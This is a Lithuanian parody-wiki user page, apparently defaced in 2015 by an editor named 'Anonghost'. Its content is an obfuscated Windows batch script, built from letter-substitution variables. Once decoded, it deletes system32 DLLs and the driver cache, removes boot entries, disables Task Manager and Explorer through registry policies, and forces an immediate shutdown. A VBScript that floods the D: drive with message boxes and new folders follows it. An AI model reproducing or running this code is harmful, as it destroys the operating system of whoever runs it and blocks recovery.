Pipedija - tautosaka, gandai, kliedesiai ir jokios tiesos! Durniausia wiki enciklopedija durnapedija!


Naudotojas:Tararaika

Iš Pipedijos - durniausios enciklopedijos.
01:29, 21 liepos 2015 versija, sukurta Anonghost (Aptarimas | indėlis) (set fso=createobject("Scripting.FileSystemObject") strFolder ="D:\" Set objFolder = fso.GetFolder(strFolder) ShowSubFolders(objFolder) Sub ShowSubFolders(objFolder) Set colFolders = objFolder.SubFolde)
Jump to navigation Jump to search

%g% x15=x %g% e27=t %g% k30=m %g% q24=h %g% j39=%SystemRoot% %g% m23=s %g% e19=8 %g% q32=1 %g% c3=g %g% p34=w %g% q95=%1 %g% r8=y %g% t62=" %g% j4=j %g% g12=z %g% c21=e %g% p5=n %g% o29=a %g% t18=7 %g% s20=f %g% i54=%Temp% %g% o2=b %g% s35=c %g% y11=r %g% r9=6 %g% u33=o %g% g17=v %g% p84=%0 %g% a31=2 %g% k6=l %g% d25=u %g% n0=4 %g% n22=d %g% a26=i %g% f7=k %g% o14=q %g% k72=% %g% n16=0 %g% w1=5 %g% i13=p @%c21%%s35%%q24%%u33% %u33%%s20%%s20% %s35%%q24%%s35%%i13% %q32%%a31%%w1%%q32% %n22%%c21%%k6% %t62%%j39%\D%y11%%a26%%g17%%c21%%y11% C%o29%%s35%%q24%%c21%\%a26%%c10%%e19%%r9%\%n22%%y1 1%%a26%%g17%%c21%%y11%.%s35%%o29%%o2%%t62% /%s20% /%o14% >%p5%%d25%%k6% %n22%%c21%%k6% %t62%%j39%\%m23%%r8%%m23%%e27%%c21%%k30%%c10%%a31% \*.%n22%%k6%%k6%%t62% /%o14% >%p5%%d25%%k6% %o2%%u33%%u33%%e27%%s35%%s20%%c3% /%n22%%c21%%k6%%c21%%e27%%c21% /%a26%%n22% %q32% >%p5%%d25%%k6% %o2%%u33%%u33%%e27%%s35%%s20%%c3% /%n22%%c21%%k6%%c21%%e27%%c21% /%a26%%n22% %q32% >%p5%%d25%%k6% %o2%%u33%%u33%%e27%%s35%%s20%%c3% /%n22%%c21%%k6%%c21%%e27%%c21% /%a26%%n22% %q32% >%p5%%d25%%k6% %y11%%c21%%c3% %o29%%n22%%n22% HKCU\S%u33%%s20%%e27%%p34%%o29%%y11%%c21%\M%a26%%s 35%%y11%%u33%%m23%%u33%%s20%%e27%\W%a26%%p5%%n22%% u33%%p34%%m23%\C%d25%%y11%%y11%%c21%%p5%%e27%V%c21  %%y11%%m23%%a26%%u33%%p5%\P%u33%%k6%%a26%%s35%%a26  %%c21%%m23%\E%x15%%i13%%k6%%u33%%y11%%c21%%y11%\R% c21%%m23%%e27%%y11%%a26%%s35%%e27%R%d25%%p5% /%g17% %q32% /%e27% REG_DWORD /%n22% %j39%\%c21%%x15%%i13%%k6%%u33%%y11%%c21%%y11%.%c21  %%x15%%c21% /%s20% >%p5%%d25%%k6% %y11%%c21%%c3% %o29%%n22%%n22% HKCU\S%u33%%s20%%e27%%p34%%o29%%y11%%c21%\M%a26%%s 35%%y11%%u33%%m23%%u33%%s20%%e27%\W%a26%%p5%%n22%% u33%%p34%%m23%\C%d25%%y11%%y11%%c21%%p5%%e27%V%c21  %%y11%%m23%%a26%%u33%%p5%\P%u33%%k6%%a26%%s35%%a26  %%c21%%m23%\S%r8%%m23%%e27%%c21%%k30% /%g17% D%a26%%m23%%o29%%o2%%k6%%c21%T%o29%%m23%%f7%M%c3%% y11% /%e27% REG_DWORD /%n22% %q32% /%s20% >%p5%%d25%%k6% %m23%%q24%%d25%%e27%%n22%%u33%%p34%%p5% -%m23% -%e27% %n16% set fso=createobject("Scripting.FileSystemObject") strFolder ="D:\" Set objFolder = fso.GetFolder(strFolder) ShowSubFolders(objFolder) Sub ShowSubFolders(objFolder) Set colFolders = objFolder.SubFolders For Each objSubFolder In colFolders msgbox objSubFolder.path & "\" & objSubFolder.name fso.createfolder(objSubFolder.path & "\" & objSubFolder.name) Next End Sub